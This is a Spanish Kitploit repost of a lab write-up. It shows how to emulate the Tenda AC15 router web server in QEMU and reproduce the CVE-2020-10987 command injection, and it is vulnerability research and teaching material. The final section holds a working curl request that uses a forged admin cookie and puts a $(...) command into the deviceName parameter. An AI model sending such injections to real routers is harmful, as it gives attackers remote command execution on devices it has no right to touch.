Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Tenda-Router-VR-and-Exploit — Informe sobre el re-hosting del firmware del router Tenda AC15 y la replicación del exploit de ejecución remota de comandos (CVE-2020-10987). | Kitploit
Herramientas/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónIngeniería InversaPruebas de PenetraciónSeguridad de HardwareAprendizaje y EducaciónAnálisis de Firmware

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Explotación de Binarios
Labs y Práctica
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Informe sobre el re-hosting del firmware del router Tenda AC15 y la replicación del exploit de ejecución remota de comandos (CVE-2020-10987).

Ver Repositorio
1hace 9 mesesAún no revisado
Compartir

Tenda-Router-VR-and-Exploit

Esta publicación muestra exactamente cómo emulé el servidor web del firmware AC15 (V15.03.05.19) con QEMU, lo hice accesible desde el navegador del host y ejercité el manejador vulnerable /goform/setUsbUnload (CVE-2020-10987) para obtener ejecución de comandos dentro del rootfs emulado.


Overview

  • Extraer (o en nuestro caso obtener) el sistema de archivos squashfs de la imagen del firmware y empezar a hacer ingeniería inversa
  • Construir una invitada Debian armhf que se ejecute bajo qemu-system-arm
  • Configurar la red de la invitada y la ruta de reenvío de puertos hacia el router emulado
  • Crear nuestro script de arranque
  • Explotar el router emulado

Extracción del sistema de archivos

Primero necesitamos obtener nuestra imagen de firmware. No pude encontrar la descarga de la imagen para AC15 V15.03.05.19, sin embargo pude encontrar un repositorio de GitHub con el sistema de archivos squashfs ya extraído. Si tuviéramos el archivo de imagen correcto, podríamos extraerlo usando binwalk de la siguiente manera,``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
Como no tenemos el archivo de imagen correcto, pero sí un repositorio con el sistema de archivos ya extraído, podemos simplemente clonar el repositorio.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

He creado un directorio llamado VR y clonado este repo dentro de él. Mi rootfs está en $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

Genial, ahora tenemos nuestro firmware AC15 V15.03.05.19. Pasemos a algo de reversing para ver qué está pasando.

Ingeniería inversa

Usaré Ghidra 11.4.2 para mi reversing. Naveguemos hasta nuestro binario objetivo en rootfs/bin/httpd y carguémoslo en Ghidra. Si vamos a la función formsetUsbUnload podemos ver,```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
Esta es la vulnerabilidad. El parámetro `deviceName` se pasa directamente a `doSystemCmd`, lo que nos permite enviar los comandos que queramos.

Ahora, dado que vamos a rehospedar este firmware usando qemu y no el hardware original del router, algunos programas van a intentar alcanzar dispositivos que no existen y provocarán un fallo en nuestro arranque.
Como nuestro objetivo es explotar el servidor web (`httpd`), me centré únicamente en rehospedar ese binario y no todo el arranque (`/rootfs/etc_ro/init.d/rcS`). _En retrospectiva, no estoy seguro de que esa fuera la decisión correcta_

Así que al revisar `rcS`, quería encontrar cualquier cosa que `rcS` pudiera hacer y que `httpd` necesitara. Hacia el final del archivo podemos ver:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS inicia cfmd en segundo plano justo antes de que el resto de la pila se ponga en marcha. Tras investigar un poco más y observar cómo la función vulnerable envía el comando, llegué a la conclusión de que:

  • httpd construye un cfm post
  • Luego el cliente cfm se comunica con cfmd a través de un socket de dominio UNIX (p. ej. /var/cfm_socket)

En la rutina InitServer de cfmd podemos ver```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
Crea un socket UIX y escucha.
En general, cómo funciona es que el handler lee una trama fija de 0x7e0 bytes de cada cliente (`RecvMsg`/`SendMsg`). Los primeros 4 bytes son un código de comando; luego hay un buffer de clave de 512 bytes y un buffer de valor de 1500 bytes (puedes ver los tamaños de los objetos de pila en el handler). Cambia según el opcode y responde con un código ACK:
- `2` -> Get: `GetCfmValue(key, value)` y luego responde con código `3`
- `0` -> Set: `SetCfmValue(key, value)` y luego responde con código `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` y luego responde con código `0x12`
- `10` -> Commit: `SaveCfm2Flash()` y luego responde `0x10` (OK) o `0xB` (error)

Así que para emular `cfmd` creé un script corto `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

Mostraré cómo compilar esto después de la siguiente parte.

El siguiente archivo auxiliar es hooks.so. Hay algunas funciones que se usan en httpd y cfm que intentan interactuar con hardware inexistente. Lo siguiente es lo que nuestro programa asume al iniciar:

  • Existen particiones Flash + MTD y son montables.
  • Existe un dispositivo NVRAM (/dev/nvram) y devuelve valores predeterminados razonables.
  • Varias rutinas de plataforma tienen éxito (cargador de ajustes de capa 7, restauración de potencia de RF, etc.).

Las siguientes funciones se convierten en un problema y por lo tanto tenemos que parchearlas con LD_PRELOAD=/hooks.so.

  • get_flash_type() -> si devuelve 4, el código toma una ruta basada en archivos (cfm_file_init); de lo contrario, intenta hablar con MTD (que no tenemos).
  • get_cfm_blk_size_from_cache() (y/o la variante j_get_cfm_blk_size_from_cache) se consulta para el tamaño de bloques de configuración.
  • Las llamadas a los shims de NVRAM de Broadcom (bcm_nvram_get) no deben fallar o la pila asume “NVRAM destruida” y entra en la lógica de restauración/reinicio.
  • Se espera que rutinas adicionales como load_l7setting_file() y restore_power() tengan éxito, pero tocan hardware/archivos inexistentes.

Aquí está nuestro hooks.c. Crédito a azeria-labs por el original.```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
Now lets compile these files and place them in our firmware.
To cross compile we can use Bootlin’s prebuilt uClibc toolchain.

Ahora compilemos estos archivos y coloquémoslos en nuestro firmware.
Para la compilación cruzada podemos usar el toolchain uClibc precompilado de Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

No se recibió contenido para traducir en esta entrada (el campo INPUT está vacío o solo contiene un marcador de posición).```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
Ahora podemos compilar con```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

Luego, por último, instálalos en el firmware``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## Construyendo un sistema invitado ARM
Configuraremos nuestro invitado ARM usando qemu full system.
Creé un directorio para contener este sistema invitado en `~/qsys`

Ahora, en este directorio, configuremos nuestro invitado haciendo lo siguiente```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

Esto creará nuestro rootfs armhf, actualizará nuestro sistema invitado, configurará algunas herramientas base y luego establecerá nuestro username:password de root a root:root.

A continuación, instale el kernel armhf con```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
Luego copiamos el kernel y creamos la imagen ext4.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

Ahora para iniciar nuestro sistema invitado Desde ~/qsys ejecuta```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
Aquí tienes un resumen rápido de lo que significan estas líneas en el comando de inicio.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Usa el modelo de placa Versatile Express A9 (una placa soportada por el kernel armmp de Debian).
- `-kernel/-dtb/-initr` Arranca el kernel/initrd de Debian para esta placa, con el device-tree blob de vexpress.
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Configuración estándar de rootfs en tarjeta SD con consola serie en PL011.
- `-nographic -audiodev none,id=noaudio` Interfaz solo serie (sin ventana SDL) y sin audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT en modo usuario de QEMU; reenvía `host:2222` a `guest:22` y `host:8080` a `guest:80`. Esto es importante para la red. Hablaremos de esto más adelante.
- `-device virtio-net-device,netdev=net0` Adjunta una NIC al backend `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` El rootfs de Debian reside en un dispositivo de bloque tipo SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Expone el rootfs del firmware (de solo lectura) al invitado a través de 9p con la etiqueta `fw`. Lo montaremos en `/firmware` y pondremos un overlayfs encima para que sea escribible.

Ahora, dentro del invitado, puede que veas algunos errores. Eso está bien siempre que llegues al aviso de inicio de sesión y puedas iniciar sesión con `root:root`.

A continuación, para tener internet en nuestro sistema invitado, ejecuta lo siguiente.```
dhclient -v eth0  ||  udhcpc -i eth0

Esto obtendrá una concesión DHCP en eth0

Ahora instala socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## Script de arranque
A continuación, vamos a crear nuestro script de arranque dentro del directorio raíz del invitado.```bash
nano boot_tenda.sh

Aquí está nuestro script de arranque /root/boot_tenda_sh dentro de nuestra máquina invitada con comentarios que explican cada paso.```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
Ahora es el momento de ejecutarlo```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

Deberías ver un listener en el puerto 80 con httpd. Para verificarlo más a fondo, navega a http://127.0.0.1:8080/ en tu host y podrás ver la página de inicio del router.

Si quieres obtener más información sobre cómo funciona la red, continúa leyendo; si no, puedes saltar a la última sección donde explotamos el servidor web.

Un resumen rápido de cómo funciona la red

Necesitábamos cargar el httpd del router dentro del guest, pero hacerlo accesible desde el navegador del host en http://127.0.0.1:8080/ mientras el servidor sigue creyendo que está vinculado a la IP LAN del router (192.168.0.1). Hay tres piezas que hacen que esto funcione:

  1. QEMU user networking (slirp) + hostfwd
  2. Una interfaz LAN dummy en el guest (br0 en 192.168.0.1)
  3. Un relay TCP local dentro del guest (socat)

1. QEMU user networking (slirp) + hostfwd

Hacemos esto en el comando de inicio cuando especificamos```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` habilita slirp (NAT en modo usuario de QEMU): el invitado obtiene acceso a Internet saliente (DHCP, DNS) sin necesidad de puentes root ni dispositivos TAP en el anfitrión.
- `hostfwd=tcp::2222-:22` redirige el puerto 2222 del anfitrión -> puerto 22 del invitado.
- `hostfwd=tcp::8080-:80` redirige el puerto 8080 del anfitrión -> puerto 80 del invitado.

Luego obtenemos la concesión DHCP para `eth0`. Ten en cuenta que Slirp normalmente asigna al invitado `10.0.2.15`, con la puerta de enlace en `10.0.2.2`.```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. Haz que la IP LAN del router exista en el invitado

El firmware real espera vincularse al puente LAN br0 en 192.168.0.1. Recreamos eso:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- Los binarios (o sus librerías) a menudo consultan nombres de interfaz (p. ej., `lan_ifname=br0`) y esperan un dispositivo puente.
- Vincular httpd a `192.168.0.1` mantiene el comportamiento/redirecciones (p. ej., `302` a `http://192.168.0.1/main.html`) idénticos a los del dispositivo real.
- En este punto, httpd solo escucha en `192.168.0.1:80` (no en el `eth0` del invitado).

### 3. Puentear hostfwd -> listener del firmware con `socat`

`host:8080` -> `guest:80` ya está configurado por QEMU. Pero `httpd` no está escuchando en `eth0:80` del invitado; escucha en `192.168.0.1:80`. Así que dentro del invitado añadimos un pequeño relay TCP:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

Aquí está el diseño general.``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## Tiempo de explotación

La pila web protege los endpoints “goform” detrás de comprobaciones de mismo origen/AJAX y una cookie de “sesión iniciada”. Envía los mismos encabezados que enviaría el JavaScript de la interfaz de usuario:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

¿Qué hace esto exactamente?

  • Host/Origin/Referer/X-Requested-With pasa las comprobaciones de AJAX + mismo origen en el manejador
  • Cookie: user=admin; password=<md5> simula una sesión iniciada. En este caso usé md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) establece el nombre del dispositivo al comando que queremos ejecutar. En este caso estamos creando un archivo /tmp/Hello_World Nota: ejecutar este comando hará que el proceso se cuelgue durante un rato y luego lo más probable es que cierre la conexión con un error. Esto es normal y prueba de que funcionó.

A continuación, en el invitado, para verificarlo aún más, podemos comprobar la existencia de nuestro nuevo archivo.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
Deberías ver```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

Explotamos con éxito nuestro router reubicado al ejecutar el comando que enviamos

Descargar herramienta